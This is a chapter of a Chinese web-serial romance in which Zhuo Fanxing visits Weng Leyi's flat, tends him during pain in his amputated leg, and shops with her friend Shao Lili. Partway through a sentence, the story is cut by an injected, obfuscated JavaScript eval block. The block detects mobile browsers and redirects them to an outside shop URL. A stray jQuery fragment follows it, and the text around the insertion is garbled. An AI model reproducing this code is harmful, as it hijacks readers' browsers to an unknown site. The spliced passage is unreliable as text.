37. 第 37 章
作品:《繁星[暗恋]》 卓繁星接到邵丽丽的电话,她今日第一次去公司上班,正是先前繁星有听她提过的那家小型设计公司。
“所以你现在在哪里吃饭?”卓繁星问她。
“隔壁负一楼的美食广场,砂锅土豆粉。你要来点吗?”
卓繁星听见嘈杂的人声,还有叫号的声音,然后邵丽丽说:“这边。”
“等我一下,我去拿点调料。”
“你不是在减肥?”这些东西她基本不碰的。
“我再不吃点好的我要爆炸。我感觉在这里上班比我熬大夜都累。”
邵丽丽恨恨地又加了一勺辣椒。“那个人事40来岁,穿的和大妈一样......噢,她以为我是老板的情人。他们这边来过很多个了。她把我简历拿去一看,好,我知道我中专生,他们这个公司直接pass的。”
“她说既然老板说了,那你就好好上班。我们这边公司管理还是有规章制度的,不能搞特殊。”
邵丽丽阴阳怪气地把她的话重复了一遍。
“或许是前任留下了不好的印象。”
“拜托,她也要看看她老板那个样子我看的上的呀,个子跟我差不多,我踩上高跟鞋要俯视他的。我最讨厌矮子了。”
卓繁星噗呲一下笑出来,劝道:“他是你老板。”
“我知道,我好好上班呀,我又不是白拿他钱。”
“还有,我想着今天第一天上班总要打扮一下的。叫我不要穿成那样。我是穿成什么样了,不晓得的以为我裸奔哎。”
“还有我拿的这只CF像假的吗?我隔壁的小姑娘问我哪里买的货,版型蛮正的。气死我了。”
先前财政吃紧,她好几只包都挂咸鱼上卖掉了,如今就指望这个撑撑场面,没想到被说是假的。
“我给洪旺打电话,我真是委屈死了呀,没有两只包包治不好。”
那边还没挂断。“你要不要去啦,shopping一下。”
“我没钱。”
她一听就无语了。“翁总这么小气的啊,洪旺都把副卡给我了,他那么大一个老板什么表示都没有?你不要不好意思啦,这种事对他们......”
“他有送过我一个首饰。”
“噢,首饰好呀,这个值钱。是不是V家的,还是C家的。我就说么翁总不至于这点东西都不给的。”
“你提醒我了,我除了包,还可买只手表。”
“这么高调真的好么?”卓繁星弱弱地问。
“他们现在孤立我哎,我要不做点什么,不是任由她欺负了。”
翁乐仪这两天在Y市下面新建的工厂视察,卓繁星给他打电话的时候,他穿了一条灰色厂服,尤其的接地气。卓繁星还是头一次见他这样打扮。
“呦,这是小翁总?”上班回来的邵丽丽从她跟前飘过,同她一样新鲜。
电话结束,她对她说:“人好看穿什么都好看哈,不过么叫我想到一点奇怪的东西。”
“什么?”
她眨巴一下眼睛,卓繁星后悔问她了。
“寂寞的女人在家,有一天水管坏了,水管工趴在地上,大腿的肌肉那个紧哦,水把衣服都喷湿了,从他黑色的头发一路滴到英俊的脸,衣服一脱下来,偶买噶,那个肌肉哦,扑上去了呀。”
卓繁星第二天晚上上了翁乐仪的车——他驱车一个多小时赶回来,如今还是那身灰色厂服,嘴唇上带着浅浅的胡茬。
卓繁星瞬间想起邵丽丽黄黄的话。
“干嘛这么赶,明天回来也可以啊。”
翁乐仪喝了口水说:“还好。”
“晚饭呢?”
他摇头。卓繁星说:“要不我们买点菜去你家烧?”
“可以。”
他家附近就有一间大型商场。卓繁星已经计划好烧番茄锅,他们两个都不擅长烹饪,做火锅是最没难度的。
卓繁星没忍住悄悄看他,他察觉到了,问她看什么。
她将糙汉文学说给他听。
“什么乱七八糟的。”翁乐仪捋了一把头发,确实很脏,而且在那边厂服很方便,他甚至再问他们要了一套。
卓繁星拿起一包虾仁,转头问他,在某个瞬间停顿下来——他正在看架子上的酱料。卓繁星觉得他们像是一对夫妻,这让她有种温暖的感觉。
她走过去,挽住他的手臂,翁乐仪低头说:“要买花生酱吗?”
“应该有配好的麻酱吧。”卓繁星又问他:”你吃香菜吗?”
他点头。卓繁星惊喜地望着他。“啊,又发现一个可以一起吃饭的点。”
“我们都可以吃一点点辣,还喜欢吃醋。”她拨着手指,翁乐仪看着她的眼睛里含着浅浅的笑。
卓繁星是第一次到他家来,是一间大平层,装饰风格简洁,没有刻意划出餐厅的区域,餐桌是一张普通的原木方桌,墙上挂着一幅抽象画。卓繁星都能想象他从冰箱随意地拿出面包,坐在这张桌子前面。
翁乐仪说:“是我妈送来的。她原先吐槽了很久这间公寓的装修设计。”
“阿姨的审美很好啊。”
“确实。”她删减掉繁冗的家具,对于他这个腿不方便的人来说实用价值也很高。
“我可能要先去洗个澡。”
“去吧,去吧。”卓繁星摆摆手,随即拉住他。
“嗯?”他挑了挑眉。
卓繁星踮起脚去亲他。
翁乐仪向后躲了一下。“我身上很脏。”
所以才是糙汉文学呀。卓繁星砸砸嘴,其实好像还有些夹杂着薄荷的烟味。啊,她在他车里看见薄荷糖了。
她不说话,就那么仰着头看他。
翁乐仪的矜持也就支撑那么一下,不然他为何驱车回来,除了面前这个人,还有其他的理由吗。
卓繁星这下确确实实地尝到了薄荷味,带着一溜溜甜味,不知道是不是她的幻觉,总之她觉得甜。
不知道亲了多久,总之她觉得她把他嘴巴里的薄荷味都舔干净了。他们埋在各自的脖颈里,享受着接吻的余韵。
卓繁星趁机把邵丽丽水管工与少妇的故事说给他听。
“你有没有看过这种?”她在他耳朵边上问,喷气把他耳朵都染红了。
翁乐仪说:“你少看这些东西。”
卓繁星很无辜。“我没看呀,我在问你。”
“当然没有。我去洗澡了。”
卓繁星又揪住他。“那或许还是穿这件。”
“不穿,没有了。”
“那刮胡子吗?别刮了,明天再刮吧。”
翁乐仪停下,对身后喋喋不休的人说:“要不你跟我一起过去?”
她终于跑走了。
卓繁星很喜欢翁乐仪这里的厨具,尤其喜欢这只正在咕嘟咕嘟冒泡泡的珐琅铸铁锅。她刚刚偷偷搜了一下这个牌子,果断放弃。资本家的钱真是好赚。虽然它看起来真的很完美,但也绝对值不上这个价。
身后突然贴上来一个人,翁乐仪在她脸颊上轻轻亲了一下。
他一下变的香喷喷的了,带着海盐柠檬的香气。这种味道有种独特的少年气,同刚才的薄荷烟草味截然不同。
“要帮忙吗?”
卓繁星说:“不用啦,我就等你下来放年糕。”
“谢谢,辛苦了。”翁乐仪又把脑袋放在她肩上,脸颊感受着她的发丝,他在刚刚看见她的时候,有一种满足感。仿佛他等待的就是这一刻。他驱车赶回来的时候,或许想的是他们见一面,可卓繁星总是给他惊喜。
饭桌上,卓繁星问他:“接下来是不是还要这样赶。”
他说那边工厂投产后,会有一部分办公人员迁过去,那边也会留一个办公室。
中途秦奶奶来了电话,卓繁星听见他喊姥姥。
她噤了声,连夹菜的动作都停了。
“嗯,正在吃......好,我知道了,她应该还没有加我微信......我会配合的。您也注意身体,好的,我回来就来看您。”
“什么事?”
“姥姥那边有个朋友要做一篇众鑫的采访,拜托我接洽一下。”
“那是要采访你吗?”
翁乐仪说:“应该不需要我上镜。”
两人吃完后,已经是8点多。卓繁星随便找了一部恋综,主要是她觉得这个东西不费脑子,而刚好潘潘说有很多瓜,她就想看了。
卓繁星察觉到身边人的心不在焉,他的话很少,她问要不要看别的,他说不用,她以为他是累了。
过了一会儿,翁乐仪将手抽出来,说:“我去趟卫生间。”
卓繁星皱起眉,他的额头热乎乎的,抵着她的时候还有些潮湿......卓繁星一下站起来,在卫生间门口敲了敲门。
“我今天没办法送你。你去隔壁客卧睡,好吗?”他的声音沉沉地传过来,像是压抑着什么。
卓繁星说:“家里的药箱在哪儿?”
里面安静了片刻,随后卓繁星在他说的地方找到了药,倒好热水。门终于开了,他额头上都是汗,坐在里面的一只椅子上。假肢被摘下来,那条裤腿空荡荡地垂落。
翁乐仪手上夹着一只烟,一截烟灰支撑不住颤颤巍巍地落在地上,和他一样。
卓繁星看着他吃了药,又把一只小型的脉冲仪器拿过来。
“我在外面等你。”
“谢谢。”
卓繁星坐在餐桌前的椅子上,两个小时之前他们坐在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067341|195168||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里吃饭,他或许就已经不舒服了。
她咬着指甲,恼恨自己为什么这么粗心,结束后还要拉着他看什么综艺。
翁乐仪开门出来,第一次没穿假肢。他高大的身影靠着门框,正对着灯光下的卓繁星。
那点昏黄的光洒在她身上,让他感受到她因为忧虑而不安稳的心,显得无比可怜。
他有些后悔带她过来。
他们躺在一起,注视着对方。
“你好点了吗?”她还是不太放心。
翁乐仪点头嗯了一声,因为疼痛而显得苍白的脸,如今还没有恢复血色。
他在被子下找到她的手,卓繁星很快便贴过来。
翁乐仪疲倦地闭上眼睛。
他不知道卓繁星久久没有睡着。如果说爱一个人便能感受他的痛苦,那卓繁星想她或许还不够爱他。她震惊于他的脆弱,当她同他一起躺在床上的时候,他承受的痛苦让他连话都不想说。
翁乐仪会想要自己看见他这样吗。
她忍不住隔着一段距离描摹着他的五官,眼泪不自觉便落下来,然后消失在枕头里面。她瘪了瘪嘴唇,爬起来在他额头轻轻亲了一下。
在入睡前,卓繁星想或许明天起来可以告诉他她那个关于器官的故事。她想要分享给他。
而他们现在真的手牵着手,一起入眠,这何尝不是一种梦境的实现。
当然,卓繁星第二天醒来,就有些失忆了。她睡的糊里糊涂,甚至往翁乐仪怀里钻了钻。
翁乐仪听见怀里的人嗯嗯唔唔,烦躁的声音,然后是啊的一声。
她撑起身,简短的一个对视后,咻的一下钻进了被子里。
翁乐仪咳了一下。“差不多了,我先去换衣服。你早饭要吃什么?”
两人又坐在那只餐桌前,今日阳光明媚,真是个好天。
卓繁星将床上稍微收拾一下,换下来的衣服放到脏衣篓里,会有阿姨上门清洗。
她探出头,对阳台上的人说:“翁乐仪,我先走啦,邵丽丽约我去逛街。”
翁乐仪疑惑地看了她一眼,这显然不在他预料之内。今天他的时间很空,他打算他们可以在一起一整天。
“卓繁星。”他起了个头。
卓繁星点了点他耳朵边的电话,轻声说:“我和她早就约好了,你突然回来,唔......”她想了想还是说实话:“是去做个光子嫩肤啦,我出发啦。你好好休息哦。”
“之后呢。”他追出来,她已经在穿鞋了。
之后?卓繁星愣了下才明白。“我今天就不过来啦,来回太折腾了。”
卓繁星之前没做过医美项目,邵丽丽说她带新客去有的送,而且光子很基础啦,就是保养。卓繁星就跟着去了。她下定决心绝不多花钱。
碰面的时候,邵丽丽问她:“你昨天没回来。”
卓繁星试图含混过去。
“所以咋样?”
“什么怎么样?”
邵丽丽翻了个白眼。“感受怎么样?翁总绅士吗?还是那种床下床上两幅面孔。”
“你快闭嘴吧。”卓繁星被她说的脸都红了。“什么都没发生。”
“我信你个鬼。”
“真的!”
当然除了早上。卓繁星不好意思说她好像知道他有点冲动了,不然也不会在卫生间呆那么久。
“你俩怎么回事?翁总不会不行吧,放着你这么个大美人。”
“收,收。”卓繁星拦住她。“昨天只是太晚了,所以没回来。”
邵丽丽在她肩上重重一拍。“也对,第一次没有充足的准备,体验感也会下降啦。你是不是昨天穿的大妈内衣?”
“我没有。”
“那就是儿童内衣。总之都一样啦,等下我们做完脸就去买,不要不好意思,都是情趣。”
卓繁星一定是被她说服了的,不然怎么解释她手上这只价值999元的袋子。她莫名其妙买了一套蕾丝内衣,还有一条真丝睡裙。
邵丽丽还在喋喋不休。“我真的觉得还是那条绑带的适合你。”
“那你赶紧自己买吧。”
“对我来说又有点保守了呀。”
卓繁星瞪了她一眼,在她钻进试衣间的时候,给翁乐仪打去电话。
那边响了一会儿才接。
“你在忙吗?腿好点了吗?”
翁乐仪把耳机摘了,说:“嗯。”
卓繁星刚放心,他又说:“还有点疼。”
“还疼?!那得去医院看一下。”
“懒得去。”翁乐仪伸了懒腰。
“那我过来找你吧。”卓繁星皱了皱眉。
“好。”他翘起嘴角,打字回陈跃今天不玩了。

